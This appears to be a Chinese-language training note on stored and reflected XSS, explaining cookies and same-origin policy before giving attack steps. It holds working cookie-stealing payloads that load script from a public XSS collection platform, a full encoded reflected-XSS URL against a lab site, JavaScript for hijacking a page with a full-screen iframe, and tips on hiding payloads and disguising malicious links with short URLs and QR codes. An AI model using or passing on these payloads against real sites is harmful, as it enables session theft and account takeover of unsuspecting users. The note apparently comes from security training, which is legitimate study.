存储型XSS,反射型xss

XSS

反射型、存储型、dom型

注册\留言\评论区

xss漏洞利用

  1. 窃取管理员的cookie (最常见)

  2. 网页劫持

  3. 网页蠕虫、网页挖矿()

xss漏洞允许用户在网页上执行任意的js代码。

cookie

http协议:无状态协议

网站需要区分用户和身份权限的。

cookie-session

​ 服务器 -> 生成一对session和cookie (一串随机值) => 将cookie下发给浏览器 => 浏览器在次访问时,需要携带 cookie

​ session 会包含用户的权限、用户名

cookie => 是用户的身份凭证。

如果能获取到cookie,则可以直接通过cookie伪造身份,从而访问网站

遵守同源策略

规定不同源网站之间的文档和脚本是如何进行交互

同协议、同端口、同IP/域名

http://192.168.0.31:80

https://192.168.0.31

http://192.168.0.31:8080

http://192.168.0.31/douphp

http://localhost/

大多数情况不同源

xss窃取 cookie

1.获取cookie

2.将cookie拼接到一个post/get请求当中,发起请求

3.有一个恶意服务器

XSS平台()

http://xss.fqgg.net/

https://xss.hk9996.com/index.php

http://www.xss-test.top/index.php
<script src=http://xss.fqgg.net/zo6eQh?1702556836\></script>

<img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.fqgg.net%2Fzo6eQh%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//> # 创建一个script标签,

确定xss漏洞时 在目标网站执行在xss平台的恶意代码 其他用户访问的时候 平台就会显示其他用户的cookie

XSS平台存在安全隐患

网站管理员是否可以查看到用户打到cookie

对一些比较敏感的业务,xss平台可能会导致信息泄露,同时无法解释是谁干的

自己搭一个 自己用

https://github.com/thickforest/xss_platform # 平台源码

https://www.cnblogs.com/Cl0ud/p/12176961.html # 搭建教程

```

实战

反射型的xss

' onfocus=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.fqgg.net%2Fzo6eQh%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source)) autofocus //

将xss平台中的恶意语句拼接到事件性语句中 浏览器执行后 发起请求

http://pphtpyb7.lab.aqlab.cn/index.php?keyword='+onfocus%3Deval(unescape(%2Fvar%2520b%253Ddocument.createElement%2528%2522script%2522%2529%253Bb.src%253D%2522http%253A%252F%252Fxss.fqgg.net%252Fzo6eQh%253F%2522%252BMath.random%2528%2529%253B%2528document.getElementsByTagName%2528%2522HEAD%2522%2529%255B0%255D%257C%257Cdocument.body%2529.appendChild%2528b%2529%253B%2F.source))%2F%2F\&submit=搜索

```

将恶意代码拼接网址后发给别人 别人点击就会返回别人在这个网站的cookie

因为太长太明显

  1. 短链接

https://xiaomark.com/

  1. 二维码

https://cli.im/

存储型

只要能把xss打成功,就完成了,然后把网址发给受害者,让他去访问

style="display: none;" 可以隐藏攻击语句和标签

xss 实现网页劫持

  1. 删除当前网页中的所有内容

  2. 创建一个新的iframe(网页内嵌),请求我们指定的网址

(function(){

var body = document.getElementsByTagName('body')[0];

body.parentNode.removeChild(body);

var html = document.getElementsByTagName("html")[0];

body = document.createElement("body");

html.appendChild(body);

var iframe = document.createElement("iframe");

iframe.name = "_test";

var form = document.createElement("form");

//form.action=unescape("{set.target}");

form.action="https://bbs.zkaq.cn"

form.method="get";

form.target = iframe.name;

body.appendChild(form);

body.appendChild(iframe);

iframe.style.cssText = "position:absolute;z-index:100000;width:100%;height:100%;frameborder=no;scrolling:no";

form.submit();

})()

需要收购手工填写 修改bbs 删去如下代码 上面的两个//删去 添加target

然后添加 点击class 右上角的配制 勾上网页劫持 在输入刚才bbs

form.action="https://bbs.zkaq.cn"

然后点击class 右上角的配置代码 复制代码输入到目标网站

然后别人在访问这个网站就会跳转到设置网站

存储型xss 靶场

有些网站后会自动把输入链接前面加上http 这样只能抓包修改数据

类真实的网站

遇到cms、框架类的站点:

  1. 互联网搜索对应cms、框架的历史漏洞

  2. 根据功能,分析可能存在的漏洞,然后进行一一验证。

相关推荐
@insist12310 分钟前
信息安全-防火墙技术演进全景:从代理NAT 到下一代及专项防火墙
网络·安全·web安全·软考·信息安全工程师·软件水平考试
weixin_4277716125 分钟前
前端调试隐藏元素
前端
爱上好庆祝1 小时前
学习js的第五天
前端·css·学习·html·css3·js
C澒2 小时前
IntelliPro 产研协作平台:基于 AI Agent 的低代码智能化配置方案设计与实现
前端·低代码·ai编程
一袋米扛几楼982 小时前
【Git】规范化协作:详解 GitHub 工作流中的 Issue、Branch 与 Pull Request 最佳实践
前端·git·github·issue
不会编程的懒洋洋2 小时前
C# P/Invoke 基础
开发语言·c++·笔记·安全·机器学习·c#·p/invoke
网络点点滴2 小时前
前端与后端的区别与联系
前端
EnCi Zheng2 小时前
M5-markconv自定义CSS样式指南 [特殊字符]
前端·css·python
kyriewen2 小时前
你的网页慢,用户不说直接走——前端性能监控教你“读心术”
前端·性能优化·监控
广州华水科技2 小时前
北斗GNSS变形监测在大坝安全监测中的应用与优势分析
前端